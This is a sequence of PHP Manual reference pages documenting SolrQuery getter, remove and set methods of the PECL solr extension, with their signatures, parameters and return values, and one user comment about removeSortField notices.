public bool SolrQuery::getStats ( void )

Returns whether or not stats is enabled

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the stats facets that were set

  • « SolrQuery::getStats
  • SolrQuery::getStatsFields »
  • PHP Manual
  • SolrQuery
  • Returns all the stats facets that were set

SolrQuery::getStatsFacets

(PECL solr >= 0.9.2)

SolrQuery::getStatsFacets — Returns all the stats facets that were set

Description

public array SolrQuery::getStatsFacets ( void )

Returns all the stats facets that were set

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the statistics fields

  • « SolrQuery::getStatsFacets
  • SolrQuery::getTerms »
  • PHP Manual
  • SolrQuery
  • Returns all the statistics fields

SolrQuery::getStatsFields

(PECL solr >= 0.9.2)

SolrQuery::getStatsFields — Returns all the statistics fields

Description

public array SolrQuery::getStatsFields ( void )

Returns all the statistics fields

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not the TermsComponent is enabled

  • « SolrQuery::getStatsFields
  • SolrQuery::getTermsField »
  • PHP Manual
  • SolrQuery
  • Returns whether or not the TermsComponent is enabled

SolrQuery::getTerms

(PECL solr >= 0.9.2)

SolrQuery::getTerms — Returns whether or not the TermsComponent is enabled

Description

public bool SolrQuery::getTerms ( void )

Returns whether or not the TermsComponent is enabled

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the field from which the terms are retrieved

  • « SolrQuery::getTerms
  • SolrQuery::getTermsIncludeLowerBound »
  • PHP Manual
  • SolrQuery
  • Returns the field from which the terms are retrieved

SolrQuery::getTermsField

(PECL solr >= 0.9.2)

SolrQuery::getTermsField — Returns the field from which the terms are retrieved

Description

public string SolrQuery::getTermsField ( void )

Returns the field from which the terms are retrieved

Parameters

This function has no parameters.

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not to include the lower bound in the result set

  • « SolrQuery::getTermsField
  • SolrQuery::getTermsIncludeUpperBound »
  • PHP Manual
  • SolrQuery
  • Returns whether or not to include the lower bound in the result set

SolrQuery::getTermsIncludeLowerBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsIncludeLowerBound — Returns whether or not to include the lower bound in the result set

Description

public bool SolrQuery::getTermsIncludeLowerBound ( void )

Returns whether or not to include the lower bound in the result set

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not to include the upper bound term in the result set

  • « SolrQuery::getTermsIncludeLowerBound
  • SolrQuery::getTermsLimit »
  • PHP Manual
  • SolrQuery
  • Returns whether or not to include the upper bound term in the result set

SolrQuery::getTermsIncludeUpperBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsIncludeUpperBound — Returns whether or not to include the upper bound term in the result set

Description

public bool SolrQuery::getTermsIncludeUpperBound ( void )

Returns whether or not to include the upper bound term in the result set

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of terms Solr should return

  • « SolrQuery::getTermsIncludeUpperBound
  • SolrQuery::getTermsLowerBound »
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of terms Solr should return

SolrQuery::getTermsLimit

(PECL solr >= 0.9.2)

SolrQuery::getTermsLimit — Returns the maximum number of terms Solr should return

Description

public int SolrQuery::getTermsLimit ( void )

Returns the maximum number of terms Solr should return

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the term to start at

  • « SolrQuery::getTermsLimit
  • SolrQuery::getTermsMaxCount »
  • PHP Manual
  • SolrQuery
  • Returns the term to start at

SolrQuery::getTermsLowerBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsLowerBound — Returns the term to start at

Description

public string SolrQuery::getTermsLowerBound ( void )

Returns the term to start at

Parameters

This function has no parameters.

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum document frequency

  • « SolrQuery::getTermsLowerBound
  • SolrQuery::getTermsMinCount »
  • PHP Manual
  • SolrQuery
  • Returns the maximum document frequency

SolrQuery::getTermsMaxCount

(PECL solr >= 0.9.2)

SolrQuery::getTermsMaxCount — Returns the maximum document frequency

Description

public int SolrQuery::getTermsMaxCount ( void )

Returns the maximum document frequency

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the minimum document frequency to return in order to be included

  • « SolrQuery::getTermsMaxCount
  • SolrQuery::getTermsPrefix »
  • PHP Manual
  • SolrQuery
  • Returns the minimum document frequency to return in order to be included

SolrQuery::getTermsMinCount

(PECL solr >= 0.9.2)

SolrQuery::getTermsMinCount — Returns the minimum document frequency to return in order to be included

Description

public int SolrQuery::getTermsMinCount ( void )

Returns the minimum document frequency to return in order to be included

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the term prefix

  • « SolrQuery::getTermsMinCount
  • SolrQuery::getTermsReturnRaw »
  • PHP Manual
  • SolrQuery
  • Returns the term prefix

SolrQuery::getTermsPrefix

(PECL solr >= 0.9.2)

SolrQuery::getTermsPrefix — Returns the term prefix

Description

public string SolrQuery::getTermsPrefix ( void )

Returns the prefix to which matching terms must be restricted. This will restrict matches to only terms that start with the prefix

Parameters

This function has no parameters.

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Whether or not to return raw characters

  • « SolrQuery::getTermsPrefix
  • SolrQuery::getTermsSort »
  • PHP Manual
  • SolrQuery
  • Whether or not to return raw characters

SolrQuery::getTermsReturnRaw

(PECL solr >= 0.9.2)

SolrQuery::getTermsReturnRaw — Whether or not to return raw characters

Description

public bool SolrQuery::getTermsReturnRaw ( void )

Returns a boolean indicating whether or not to return the raw characters of the indexed term, regardless of if it is human readable

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns an integer indicating how terms are sorted

  • « SolrQuery::getTermsReturnRaw
  • SolrQuery::getTermsUpperBound »
  • PHP Manual
  • SolrQuery
  • Returns an integer indicating how terms are sorted

SolrQuery::getTermsSort

(PECL solr >= 0.9.2)

SolrQuery::getTermsSort — Returns an integer indicating how terms are sorted

Description

public int SolrQuery::getTermsSort ( void )

SolrQuery::TERMS_SORT_INDEX indicates that the terms are returned by index order. SolrQuery::TERMS_SORT_COUNT implies that the terms are sorted by term frequency (highest count first)

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the term to stop at

  • « SolrQuery::getTermsSort
  • SolrQuery::getTimeAllowed »
  • PHP Manual
  • SolrQuery
  • Returns the term to stop at

SolrQuery::getTermsUpperBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsUpperBound — Returns the term to stop at

Description

public string SolrQuery::getTermsUpperBound ( void )

Returns the term to stop at

Parameters

This function has no parameters.

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the time in milliseconds allowed for the query to finish

  • « SolrQuery::getTermsUpperBound
  • SolrQuery::removeFacetDateField »
  • PHP Manual
  • SolrQuery
  • Returns the time in milliseconds allowed for the query to finish

SolrQuery::getTimeAllowed

(PECL solr >= 0.9.2)

SolrQuery::getTimeAllowed — Returns the time in milliseconds allowed for the query to finish

Description

public int SolrQuery::getTimeAllowed ( void )

Returns the time in milliseconds allowed for the query to finish.

Parameters

This function has no parameters.

Return Values

Returns and integer on success and NULL if it is not set.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the facet date fields

  • « SolrQuery::getTimeAllowed
  • SolrQuery::removeFacetDateOther »
  • PHP Manual
  • SolrQuery
  • Removes one of the facet date fields

SolrQuery::removeFacetDateField

(PECL solr >= 0.9.2)

SolrQuery::removeFacetDateField — Removes one of the facet date fields

Description

public SolrQuery SolrQuery::removeFacetDateField ( string $field )

The name of the field

Parameters

field

The name of the date field to remove

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the facet.date.other parameters

  • « SolrQuery::removeFacetDateField
  • SolrQuery::removeFacetField »
  • PHP Manual
  • SolrQuery
  • Removes one of the facet.date.other parameters

SolrQuery::removeFacetDateOther

(PECL solr >= 0.9.2)

SolrQuery::removeFacetDateOther — Removes one of the facet.date.other parameters

Description

public SolrQuery SolrQuery::removeFacetDateOther ( string $value [, string $field_override ] )

Removes one of the facet.date.other parameters

Parameters

value

The value

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the facet.date parameters

  • « SolrQuery::removeFacetDateOther
  • SolrQuery::removeFacetQuery »
  • PHP Manual
  • SolrQuery
  • Removes one of the facet.date parameters

SolrQuery::removeFacetField

(PECL solr >= 0.9.2)

SolrQuery::removeFacetField — Removes one of the facet.date parameters

Description

public SolrQuery SolrQuery::removeFacetField ( string $field )

Removes one of the facet.date parameters

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the facet.query parameters

  • « SolrQuery::removeFacetField
  • SolrQuery::removeField »
  • PHP Manual
  • SolrQuery
  • Removes one of the facet.query parameters

SolrQuery::removeFacetQuery

(PECL solr >= 0.9.2)

SolrQuery::removeFacetQuery — Removes one of the facet.query parameters

Description

public SolrQuery SolrQuery::removeFacetQuery ( string $value )

Removes one of the facet.query parameters.

Parameters

value

The value

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes a field from the list of fields

  • « SolrQuery::removeFacetQuery
  • SolrQuery::removeFilterQuery »
  • PHP Manual
  • SolrQuery
  • Removes a field from the list of fields

SolrQuery::removeField

(PECL solr >= 0.9.2)

SolrQuery::removeField — Removes a field from the list of fields

Description

public SolrQuery SolrQuery::removeField ( string $field )

Removes a field from the list of fields

Parameters

field

Name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes a filter query

  • « SolrQuery::removeField
  • SolrQuery::removeHighlightField »
  • PHP Manual
  • SolrQuery
  • Removes a filter query

SolrQuery::removeFilterQuery

(PECL solr >= 0.9.2)

SolrQuery::removeFilterQuery — Removes a filter query

Description

public SolrQuery SolrQuery::removeFilterQuery ( string $fq )

Removes a filter query.

Parameters

fq

The filter query to remove

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the fields used for highlighting

  • « SolrQuery::removeFilterQuery
  • SolrQuery::removeMltField »
  • PHP Manual
  • SolrQuery
  • Removes one of the fields used for highlighting

SolrQuery::removeHighlightField

(PECL solr >= 0.9.2)

SolrQuery::removeHighlightField — Removes one of the fields used for highlighting

Description

public SolrQuery SolrQuery::removeHighlightField ( string $field )

Removes one of the fields used for highlighting.

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the moreLikeThis fields

  • « SolrQuery::removeHighlightField
  • SolrQuery::removeMltQueryField »
  • PHP Manual
  • SolrQuery
  • Removes one of the moreLikeThis fields

SolrQuery::removeMltField

(PECL solr >= 0.9.2)

SolrQuery::removeMltField — Removes one of the moreLikeThis fields

Description

public SolrQuery SolrQuery::removeMltField ( string $field )

Removes one of the moreLikeThis fields.

Parameters

field

Name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the moreLikeThis query fields

  • « SolrQuery::removeMltField
  • SolrQuery::removeSortField »
  • PHP Manual
  • SolrQuery
  • Removes one of the moreLikeThis query fields

SolrQuery::removeMltQueryField

(PECL solr >= 0.9.2)

SolrQuery::removeMltQueryField — Removes one of the moreLikeThis query fields

Description

public SolrQuery SolrQuery::removeMltQueryField ( string $queryField )

Removes one of the moreLikeThis query fields.

Parameters

queryField

The query field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the sort fields

  • « SolrQuery::removeMltQueryField
  • SolrQuery::removeStatsFacet »
  • PHP Manual
  • SolrQuery
  • Removes one of the sort fields

SolrQuery::removeSortField

(PECL solr >= 0.9.2)

SolrQuery::removeSortField — Removes one of the sort fields

Description

public SolrQuery SolrQuery::removeSortField ( string $field )

Removes one of the sort fields

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

hasbridge at gmail dot com 23-Jul-2010 11:16
This method will generate a notice if you try and remove a sort field that isn't set. This can happen if you call getSortFields, which will return an array like:

[0] => 'fieldName asc',
[1] => 'fieldName desc

But if you try and call:

<?php
$object->removeSortField('fieldName asc');
?>

You will get a notice. Instead, you need to truncate the sort order (' asc', ' desc') part of it. Something like:

<?php
$fieldName = trim(str_replace(array('asc', 'desc')), '', $fieldName);
?>


Removes one of the stats.facet parameters

  • « SolrQuery::removeSortField
  • SolrQuery::removeStatsField »
  • PHP Manual
  • SolrQuery
  • Removes one of the stats.facet parameters

SolrQuery::removeStatsFacet

(PECL solr >= 0.9.2)

SolrQuery::removeStatsFacet — Removes one of the stats.facet parameters

Description

public SolrQuery SolrQuery::removeStatsFacet ( string $value )

Removes one of the stats.facet parameters

Parameters

value

The value

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the stats.field parameters

  • « SolrQuery::removeStatsFacet
  • SolrQuery::setEchoHandler »
  • PHP Manual
  • SolrQuery
  • Removes one of the stats.field parameters

SolrQuery::removeStatsField

(PECL solr >= 0.9.2)

SolrQuery::removeStatsField — Removes one of the stats.field parameters

Description

public SolrQuery SolrQuery::removeStatsField ( string $field )

Removes one of the stats.field parameters

Parameters

field

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Toggles the echoHandler parameter

  • « SolrQuery::removeStatsField
  • SolrQuery::setEchoParams »
  • PHP Manual
  • SolrQuery
  • Toggles the echoHandler parameter

SolrQuery::setEchoHandler

(PECL solr >= 0.9.2)

SolrQuery::setEchoHandler — Toggles the echoHandler parameter

Description

public SolrQuery SolrQuery::setEchoHandler ( bool $flag )

If set to true, Solr places the name of the handle used in the response to the client for debugging purposes.

Parameters

flag

TRUE or FALSE

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Determines what kind of parameters to include in the response

  • « SolrQuery::setEchoHandler
  • SolrQuery::setExplainOther »
  • PHP Manual
  • SolrQuery
  • Determines what kind of parameters to include in the response

SolrQuery::setEchoParams

(PECL solr >= 0.9.2)

SolrQuery::setEchoParams — Determines what kind of parameters to include in the response

Description

public SolrQuery SolrQuery::setEchoParams ( string $type )

Instructs Solr what kinds of Request parameters should be included in the response for debugging purposes, legal values include:

- none - don't include any request parameters for debugging
- explicit - include the parameters explicitly specified by the client in the request
- all - include all parameters involved in this request, either specified explicitly by the client, or implicit because of the request handler configuration.

Parameters

type

The type of parameters to include

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the explainOther common query parameter

  • « SolrQuery::setEchoParams
  • SolrQuery::setFacet »
  • PHP Manual
  • SolrQuery
  • Sets the explainOther common query parameter

SolrQuery::setExplainOther

(PECL solr >= 0.9.2)

SolrQuery::setExplainOther — Sets the explainOther common query parameter

Description

public SolrQuery SolrQuery::setExplainOther ( string $query )

Sets the explainOther common query parameter

Parameters

query

The Lucene query to identify a set of documents

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to the facet parameter. Enables or disables facetting

  • « SolrQuery::setExplainOther
  • SolrQuery::setFacetDateEnd »
  • PHP Manual
  • SolrQuery
  • Maps to the facet parameter. Enables or disables facetting

SolrQuery::setFacet

(PECL solr >= 0.9.2)

SolrQuery::setFacet — Maps to the facet parameter. Enables or disables facetting

Description

public SolrQuery SolrQuery::setFacet ( bool $flag )

Enables or disables faceting.

Parameters

value

TRUE enables faceting and FALSE disables it.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.date.end

  • « SolrQuery::setFacet
  • SolrQuery::setFacetDateGap »
  • PHP Manual
  • SolrQuery
  • Maps to facet.date.end

SolrQuery::setFacetDateEnd

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateEnd — Maps to facet.date.end

Description

public SolrQuery SolrQuery::setFacetDateEnd ( string $value [, string $field_override ] )

Maps to facet.date.end

Parameters

value

See facet.date.end

field_override

Name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.date.gap

  • « SolrQuery::setFacetDateEnd
  • SolrQuery::setFacetDateHardEnd »
  • PHP Manual
  • SolrQuery
  • Maps to facet.date.gap

SolrQuery::setFacetDateGap

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateGap — Maps to facet.date.gap

Description

public SolrQuery SolrQuery::setFacetDateGap ( string $value [, string $field_override ] )

Maps to facet.date.gap

Parameters

value

See facet.date.gap

field_override

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.date.hardend

  • « SolrQuery::setFacetDateGap
  • SolrQuery::setFacetDateStart »
  • PHP Manual
  • SolrQuery
  • Maps to facet.date.hardend

SolrQuery::setFacetDateHardEnd

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateHardEnd — Maps to facet.date.hardend

Description

public SolrQuery SolrQuery::setFacetDateHardEnd ( bool $value [, string $field_override ] )

Maps to facet.date.hardend

Parameters

value

See facet.date.hardend

field_override

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.date.start

  • « SolrQuery::setFacetDateHardEnd
  • SolrQuery::setFacetEnumCacheMinDefaultFrequency »
  • PHP Manual
  • SolrQuery
  • Maps to facet.date.start

SolrQuery::setFacetDateStart

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateStart — Maps to facet.date.start

Description

public SolrQuery SolrQuery::setFacetDateStart ( string $value [, string $field_override ] )

Maps to facet.date.start

Parameters

value

See facet.date.start

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the minimum document frequency used for determining term count

  • « SolrQuery::setFacetDateStart
  • SolrQuery::setFacetLimit »
  • PHP Manual
  • SolrQuery
  • Sets the minimum document frequency used for determining term count

SolrQuery::setFacetEnumCacheMinDefaultFrequency

(PECL solr >= 0.9.2)

SolrQuery::setFacetEnumCacheMinDefaultFrequency — Sets the minimum document frequency used for determining term count

Description

public SolrQuery SolrQuery::setFacetEnumCacheMinDefaultFrequency ( int $frequency [, string $field_override ] )

Sets the minimum document frequency used for determining term count

Parameters

value

The minimum frequency

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.limit

  • « SolrQuery::setFacetEnumCacheMinDefaultFrequency
  • SolrQuery::setFacetMethod »
  • PHP Manual
  • SolrQuery
  • Maps to facet.limit

SolrQuery::setFacetLimit

(PECL solr >= 0.9.2)

SolrQuery::setFacetLimit — Maps to facet.limit

Description

public SolrQuery SolrQuery::setFacetLimit ( int $limit [, string $field_override ] )

Maps to facet.limit. Sets the maximum number of constraint counts that should be returned for the facet fields.

Parameters

limit

The maximum number of constraint counts

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the type of algorithm to use when faceting a field

  • « SolrQuery::setFacetLimit
  • SolrQuery::setFacetMinCount »
  • PHP Manual
  • SolrQuery
  • Specifies the type of algorithm to use when faceting a field

SolrQuery::setFacetMethod

(PECL solr >= 0.9.2)

SolrQuery::setFacetMethod — Specifies the type of algorithm to use when faceting a field

Description

public SolrQuery SolrQuery::setFacetMethod ( string $method [, string $field_override ] )

Specifies the type of algorithm to use when faceting a field. This method accepts optional field override.

Parameters

method

The method to use.

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.mincount

  • « SolrQuery::setFacetMethod
  • SolrQuery::setFacetMissing »
  • PHP Manual
  • SolrQuery
  • Maps to facet.mincount

SolrQuery::setFacetMinCount

(PECL solr >= 0.9.2)

SolrQuery::setFacetMinCount — Maps to facet.mincount

Description

public SolrQuery SolrQuery::setFacetMinCount ( int $mincount [, string $field_override ] )

Sets the minimum counts for facet fields that should be included in the response

Parameters

mincount

The minimum count

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.missing

  • « SolrQuery::setFacetMinCount
  • SolrQuery::setFacetOffset »
  • PHP Manual
  • SolrQuery
  • Maps to facet.missing

SolrQuery::setFacetMissing

(PECL solr >= 0.9.2)

SolrQuery::setFacetMissing — Maps to facet.missing

Description

public SolrQuery SolrQuery::setFacetMissing ( bool $flag [, string $field_override ] )

Used to indicate that in addition to the Term-based constraints of a facet field, a count of all matching results which have no value for the field should be computed

Parameters

flag

TRUE turns this feature on. FALSE disables it.

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the offset into the list of constraints to allow for pagination

  • « SolrQuery::setFacetMissing
  • SolrQuery::setFacetPrefix »
  • PHP Manual
  • SolrQuery
  • Sets the offset into the list of constraints to allow for pagination

SolrQuery::setFacetOffset

(PECL solr >= 0.9.2)

SolrQuery::setFacetOffset — Sets the offset into the list of constraints to allow for pagination

Description

public SolrQuery SolrQuery::setFacetOffset ( int $offset [, string $field_override ] )

Sets the offset into the list of constraints to allow for pagination.

Parameters

offset

The offset

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies a string prefix with which to limits the terms on which to facet

  • « SolrQuery::setFacetOffset
  • SolrQuery::setFacetSort »
  • PHP Manual
  • SolrQuery
  • Specifies a string prefix with which to limits the terms on which to facet

SolrQuery::setFacetPrefix

(PECL solr >= 0.9.2)

SolrQuery::setFacetPrefix — Specifies a string prefix with which to limits the terms on which to facet

Description

public SolrQuery SolrQuery::setFacetPrefix ( string $prefix [, string $field_override ] )

Specifies a string prefix with which to limits the terms on which to facet.

Parameters

prefix

The prefix string

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Determines the ordering of the facet field constraints

  • « SolrQuery::setFacetPrefix
  • SolrQuery::setHighlight »
  • PHP Manual
  • SolrQuery
  • Determines the ordering of the facet field constraints

SolrQuery::setFacetSort

(PECL solr >= 0.9.2)

SolrQuery::setFacetSort — Determines the ordering of the facet field constraints

Description

public SolrQuery SolrQuery::setFacetSort ( int $facetSort [, string $field_override ] )

Determines the ordering of the facet field constraints

Parameters

facetSort

Use SolrQuery::FACET_SORT_INDEX for sorting by index order or SolrQuery::FACET_SORT_COUNT for sorting by count.

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables highlighting

  • « SolrQuery::setFacetSort
  • SolrQuery::setHighlightAlternateField »
  • PHP Manual
  • SolrQuery
  • Enables or disables highlighting

SolrQuery::setHighlight

(PECL solr >= 0.9.2)

SolrQuery::setHighlight — Enables or disables highlighting

Description

public SolrQuery SolrQuery::setHighlight ( bool $flag )

Setting it to TRUE enables highlighted snippets to be generated in the query response.

Setting it to FALSE disables highlighting

Parameters

flag

Enable or disable highlighting

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the backup field to use

  • « SolrQuery::setHighlight
  • SolrQuery::setHighlightFormatter »
  • PHP Manual
  • SolrQuery
  • Specifies the backup field to use

SolrQuery::setHighlightAlternateField

(PECL solr >= 0.9.2)

SolrQuery::setHighlightAlternateField — Specifies the backup field to use

Description

public SolrQuery SolrQuery::setHighlightAlternateField ( string $field [, string $field_override ] )

If a snippet cannot be generated because there were no matching terms, one can specify a field to use as the backup or default summary

Parameters

field

The name of the backup field

field_override

The name of the field we are overriding this setting for.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specify a formatter for the highlight output

  • « SolrQuery::setHighlightAlternateField
  • SolrQuery::setHighlightFragmenter »
  • PHP Manual
  • SolrQuery
  • Specify a formatter for the highlight output

SolrQuery::setHighlightFormatter

(PECL solr >= 0.9.2)

SolrQuery::setHighlightFormatter — Specify a formatter for the highlight output

Description

public SolrQuery SolrQuery::setHighlightFormatter ( string $formatter [, string $field_override ] )

Specify a formatter for the highlight output.

Parameters

formatter

Currently the only legal value is "simple"

field_override

The name of the field.

User Contributed Notes

There are no user contributed notes for this page.


Sets a text snippet generator for highlighted text

  • « SolrQuery::setHighlightFormatter
  • SolrQuery::setHighlightFragsize »
  • PHP Manual
  • SolrQuery
  • Sets a text snippet generator for highlighted text

SolrQuery::setHighlightFragmenter

(PECL solr >= 0.9.2)

SolrQuery::setHighlightFragmenter — Sets a text snippet generator for highlighted text

Description

public SolrQuery SolrQuery::setHighlightFragmenter ( string $fragmenter [, string $field_override ] )

Specify a text snippet generator for highlighted text.

Parameters

fragmenter

The standard fragmenter is gap. Another option is regex, which tries to create fragments that resembles a certain regular expression

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


The size of fragments to consider for highlighting

  • « SolrQuery::setHighlightFragmenter
  • SolrQuery::setHighlightHighlightMultiTerm »
  • PHP Manual
  • SolrQuery
  • The size of fragments to consider for highlighting

SolrQuery::setHighlightFragsize

(PECL solr >= 0.9.2)

SolrQuery::setHighlightFragsize — The size of fragments to consider for highlighting

Description

public SolrQuery SolrQuery::setHighlightFragsize ( int $size [, string $field_override ] )

Sets the size, in characters, of fragments to consider for highlighting. "0" indicates that the whole field value should be used (no fragmenting).

Parameters

size

The size, in characters, of fragments to consider for highlighting

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Use SpanScorer to highlight phrase terms

  • « SolrQuery::setHighlightFragsize
  • SolrQuery::setHighlightMaxAlternateFieldLength »
  • PHP Manual
  • SolrQuery
  • Use SpanScorer to highlight phrase terms

SolrQuery::setHighlightHighlightMultiTerm

(PECL solr >= 0.9.2)

SolrQuery::setHighlightHighlightMultiTerm — Use SpanScorer to highlight phrase terms

Description

public SolrQuery SolrQuery::setHighlightHighlightMultiTerm ( bool $flag )

Use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document.

Parameters

flag

Whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum number of characters of the field to return

  • « SolrQuery::setHighlightHighlightMultiTerm
  • SolrQuery::setHighlightMaxAnalyzedChars »
  • PHP Manual
  • SolrQuery
  • Sets the maximum number of characters of the field to return

SolrQuery::setHighlightMaxAlternateFieldLength

(PECL solr >= 0.9.2)

SolrQuery::setHighlightMaxAlternateFieldLength — Sets the maximum number of characters of the field to return

Description

public SolrQuery SolrQuery::setHighlightMaxAlternateFieldLength ( int $fieldLength [, string $field_override ] )

If SolrQuery::setHighlightAlternateField() was passed the value TRUE, this parameter specifies the maximum number of characters of the field to return

Any value less than or equal to 0 means unlimited.

Parameters

fieldLength

The length of the field

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the number of characters into a document to look for suitable snippets

  • « SolrQuery::setHighlightMaxAlternateFieldLength
  • SolrQuery::setHighlightMergeContiguous »
  • PHP Manual
  • SolrQuery
  • Specifies the number of characters into a document to look for suitable snippets

SolrQuery::setHighlightMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::setHighlightMaxAnalyzedChars — Specifies the number of characters into a document to look for suitable snippets

Description

public SolrQuery SolrQuery::setHighlightMaxAnalyzedChars ( int $value )

Specifies the number of characters into a document to look for suitable snippets

Parameters

value

The number of characters into a document to look for suitable snippets

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Whether or not to collapse contiguous fragments into a single fragment

  • « SolrQuery::setHighlightMaxAnalyzedChars
  • SolrQuery::setHighlightRegexMaxAnalyzedChars »
  • PHP Manual
  • SolrQuery
  • Whether or not to collapse contiguous fragments into a single fragment

SolrQuery::setHighlightMergeContiguous

(PECL solr >= 0.9.2)

SolrQuery::setHighlightMergeContiguous — Whether or not to collapse contiguous fragments into a single fragment

Description

public SolrQuery SolrQuery::setHighlightMergeContiguous ( bool $flag [, string $field_override ] )

Whether or not to collapse contiguous fragments into a single fragment

Parameters

value

Whether or not to collapse contiguous fragments into a single fragment

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specify the maximum number of characters to analyze

  • « SolrQuery::setHighlightMergeContiguous
  • SolrQuery::setHighlightRegexPattern »
  • PHP Manual
  • SolrQuery
  • Specify the maximum number of characters to analyze

SolrQuery::setHighlightRegexMaxAnalyzedChars

